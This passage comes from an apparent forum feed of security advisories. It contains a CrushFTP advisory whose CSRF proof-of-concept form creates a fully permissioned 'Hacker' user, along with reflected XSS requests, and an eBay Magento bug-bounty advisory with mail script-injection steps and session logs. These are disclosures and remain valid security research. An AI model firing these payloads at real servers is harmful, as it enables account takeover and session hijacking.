attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage. This keeps your server secure from unwanted abuse. User management includes inheritance, groups, and virtual file systems. If you want simple user management, it can be as easy as just making a folder with a specific name and nothing else. Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration. http://www.crushftp.com/index.html ======================================================== IV. Vulnerability Details & Exploit ======================================================== 1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config) a) An attacker may add/delete/modify user's accounts May change all configuration settings Request Method: POST Location: /WebInterface/fuction/ Proof of Concept:- <html> <body> <form action="http://127.0.0.1:8080/WebInterface/function/" method="POST"> <input type="hidden" name="command" value="setUserItem" /> <input type="hidden" name="data&&95;action" value="new" /> <input type="hidden" name="serverGroup" value="MainUsers" /> <input type="hidden" name="username" value="Hacker" /> <input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" /> <input type="hidden" name="xmlItem" value="user" /> <input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" /> <input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2) Multiple Cross-Site Scripting (Web Interface - Default Config) Type: Reflected Request Method: POST Location: /WebInterface/function/ Parameter: vfs_items Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> Proof of Concept: POST /WebInterface/function/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html Content-Length: 656 Cookie: XXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E Type: Reflected Request Method: GET Location: /WebInterface/function/ Parameter: path Values: <script>alert(1)<%2fscript> path=%<script>alert(1)<%2fscript> GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/ Cookie: XXXXXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ======================================================== VI. Affected Systems ======================================================== Software: Crushftp (Web Interface) Version: 7.2.0 Build : 147 < 7.3 Configuration: Default ======================================================== VII. Vendor Response/Solution ======================================================== Vendor Contacted : 02/12/2015 Vendor Response : 02/12/2015 Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml ======================================================== VIII. Credits ======================================================== Discovered by Rehan Ahmed knight_rehan@hotmail.com Source
  24. Reflected File Download RFD is a web attack vector that enables attackers to gain complete control over a victims machine by virtually downloading a file from a trusted domain. Read more: http://dl.packetstormsecurity.net/papers/presentations/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
  25. Document Title: =============== Ebay Inc Magento Bug Bounty #5 - Persistent Validation & Mail Encoding Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1226 eBay Inc. Bug Bounty Program ID: EIBBP-27288 Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/02/14/ebay-inc-magento-2015q1-official-bug-bounty-program-rewards-security-researcher Release Date: ============= 2015-02-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1226 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation and mail encoding web vulnerability in the official eBay Magento and Magento info web-application. Vulnerability Disclosure Timeline: ================================== 2014-03-14: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2014-03-15: Vendor Notification (eBay Inc Security Team - Bug Bounty Program) 2014-03-10: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program) 2015-02-12: Vendor Fix/Patch (Magento Developer Team) 2015-02-13: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program) 2015-02-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Magento - Web Application Service 2014 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side mail encoding web vulnerability has been discovered in the official eBay Magento & Info Web-Application. The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server & web-application. The vulnerability is located in the first- and lastname values of the `Talk to a Specialist` module. Remote attackers without privileged application user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the specialist but also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and lastname will be displayed. The sender interacts automatically by usage of the magento.com & info.magento.com service. The validation of the db stored outgoing values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent and the injection request method is POST. The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of web header or mail body context. Vulnerable Domain(s): [+] magento.com & info.magento.com Vulnerable Module(s): [+] Talk to a Specialist Vulnerable Parameter(s): [+] firstname [+] lastname [+] companyname Affected Sender(s): [+] info@magento.com Affected Receiver(s): [+] bkm@evolution-sec.com Affected Context Module(s): [+] Section 1 > mktEditable Proof of Concept (PoC): ======================= The application-side input validation web vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction. For security demonstration or to reproduce the mail encoding web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce of the vulnerability ... 1. You do not need to register an account 2. Open up the main website and switch to the magento.com contacts site 3. On the bottom you need to click the `talk to specialist` button 4. You get redirect to a regular valid formular with a mod specialist notification 5. Inject your script code payloads as first-, last- and companyname values 6. Click the send request button ... Note: Now, you will be redirected by the service after choosing a specialist ... we used `E.C. Kraus` (#sry 7. Send the same request from the input below to the specialist with a non malicious test payload 8. The persistent code execution occurs in the mail to the manager aka specialist but also to the sender of the notification itself (without user auth!) 9. Successful reproduce of the persistent script code injection web vulnerability via POST method request PoC: Your E.C. Kraus Magento Enterprise Case Study Download <html><head> <title>Your E.C. Kraus Magento Enterprise Case Study Download</title> <link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css"> </head> <body> <table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody><tr><td><b>Betreff: </b>Your E.C. Kraus Magento Enterprise Case Study Download</td></tr><tr><td> <b>Von: </b>Magento <info@magento.com></td></tr><tr><td><b>Datum: </b>15.03.2014 20:27</td></tr></tbody></table> <table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>bkm@evolution-sec.com</td></tr></tbody></table><br> <meta http-equiv="Content-Type" content="text/html; "> <title></title> <div id="Section 1" class="mktEditable"><p>Dear a "><[PERSISTENT INJECTED SCRIPT CODE 1!]">%20<[PERSISTENT INJECTED SCRIPT CODE 2!]>,</p> <p>Thank you for requesting the Magento Enterprise Case Study on E.C. Kraus. You can download the Case Study here:</p> <p><a href= "http://email.magento.com/397EXO8770000EP01aGC801" >Download</a></p> <p>Check out our complete list of <a href= "http://email.magento.com/397EXO8770000EQ01aGC801" >Magento Case Studies</a></p> <p>To learn more about Magento Enterprise or to reqeust a personalized quote, please <a href= "http://email.magento.com/397EXO8770000ER01aGC801" >contact out Magento Enterprise team</a>.</p> <p>Thank you,</p> <p>The Magento Team</p></div> <IMG SRC="http://email.magento.com/trk?t=1&mid=Mzk3LUVYTy04Nzc6MDozMzkyOjExMzI1OjA6MzMxNzo3OjE3MzIzNDI4LTE6bnVsbA%3D%3D" WIDTH="1" HEIGHT="1" BORDER="0" ALT="" /> </body> </html> </body> </html> </iframe></p></div></body></html> --- PoC Session Logs [POST] --- 21:15:18.356[654ms][total 2913ms] Status: 200[OK] GET http://magento.com/explore/contact-sales Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://magento.com/customers/customer-showcase] Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; has_js=1; ClrSSID=1394911380598-4406; ClrOSSID=1394911380598-4406; ClrSCD=1394911380598; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fcustomers%2Fcustomer-showcase; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentomagento%2Cmagentoglobal%3D%2526pid%253D%25252Fcustomers%25252Fcustomer-showcase%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fmagento.com%25252Fexplore%25252Fcontact-sales_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_ppv=-%2C84%2C84%2C2200; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com] Connection[keep-alive] If-None-Match["1394841413-1"] Response Header: Server[maged] Date[Sat, 15 Mar 2014 20:15:18 GMT] Content-Type[text/html; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] X-Drupal-Cache[HIT] Etag["1394841413-1"] x-content-type-options[nosniff] X-Frame-Options[SameOrigin] Content-Language[en] Link[<http://magento.com/explore/contact-sales>; rel="canonical",<http://magento.com/node/22>; rel="shortlink"] Cache-Control[public, max-age=86400] Last-Modified[Fri, 14 Mar 2014 23:56:53 +0000] Expires[Sun, 19 Nov 1978 05:00:00 GMT] Vary[Cookie, Accept-Encoding] Content-Encoding[gzip] X-Server[web04] - 21:15:34.123[335ms][total 335ms] Status: 302[Found] POST https://info.magento.com/index.php/leadCapture/save Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[135] Mime Type[text/html] Request Header: Host[info.magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://info.magento.com/EC-Kraus.html] Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; BIGipServerabjweb-ssl2_http=3892838666.20480.0000; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fec-kraus.html; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentoinfo%2Cmagentoglobal%3D%2526pid%253D%25252Fec-kraus.html%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BformSubmit%252528document.getElementById%252528%252522mktForm_1129%252522%252529%252529%25253Breturnfalse%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; s_ppv=-%2C100%2C100%2C832; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; BIGipServerabjweb-ssl2_https=3909615882.47873.0000; ClrSSID=1394911532386-9188; ClrOSSID=1394911532386-9188; ClrSCD=1394911532386; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com; optimizelyPendingLogEvents=%5B%5D; ClrCSTO=T] Connection[keep-alive] POST-Daten: FirstName[%3Ciframe+src%3Da%3E] LastName[%3Ciframe+src%3Da%3E] Email[bkm%40evolution-sec.com] _marketo_comments[] lpId[2314] subId[36] munchkinId[397-EXO-877] kw[not+found] cr[not+found] searchstr[not+found] lpurl[https%3A%2F%2Finfo.magento.com%2FEC-Kraus.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D] formid[1129] returnURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html] retURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html] returnLPId[2301] _mkt_disp[return] _mkt_trk[id%3A397-EXO-877%26token%3A_mch-magento.com-1394911532816-55587] _comments_marketo[] _mkto_version[2.4.7] Response Header: Date[Sat, 15 Mar 2014 20:15:34 GMT] Server[Apache] Location[https://info.magento.com/EC-Kraus-confirm.html?aliId=67114725] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[135] Connection[close] Content-Type[text/html] Reference(s): http://magento.com/customers/customer-showcase http://magento.com/explore/contact-sales https://info.magento.com/EC-Kraus-confirm.html?aliId=67114607 https://info.magento.com/EC-Kraus.html https://info.magento.com/index.php/leadCapture/save Resource(s): ../Contact Sales _ Magento-inputstep1.htm ../Contact Sales _ Magento-inputstep2.htm ../EC-Kraus-confirm.html ../EC-Kraus-poc2.html ../Your E.C. Kraus Magento Enterprise Case Study Download.html ../Your E.C. Kraus Magento Enterprise Case Study Download.eml ../poc-session-logs.txt ../poc-url-references.txt Picture(s): (view magazine article) ../1.png ../2.png ../3.png ../4.png ../5.png ../6.png ../7.png Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse or encode of the `talk to a specialist` input context. Encode and parse also the outgoing user values of the talk to a specialist form to prevent persistent injections via POST to outgoing service ebay magento mails. Restrict the input and disallow the usage of special chars. Security Risk: ============== The security risk of the persistent input validation and mail encoding web vulnerability is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
×
×
  • Create New...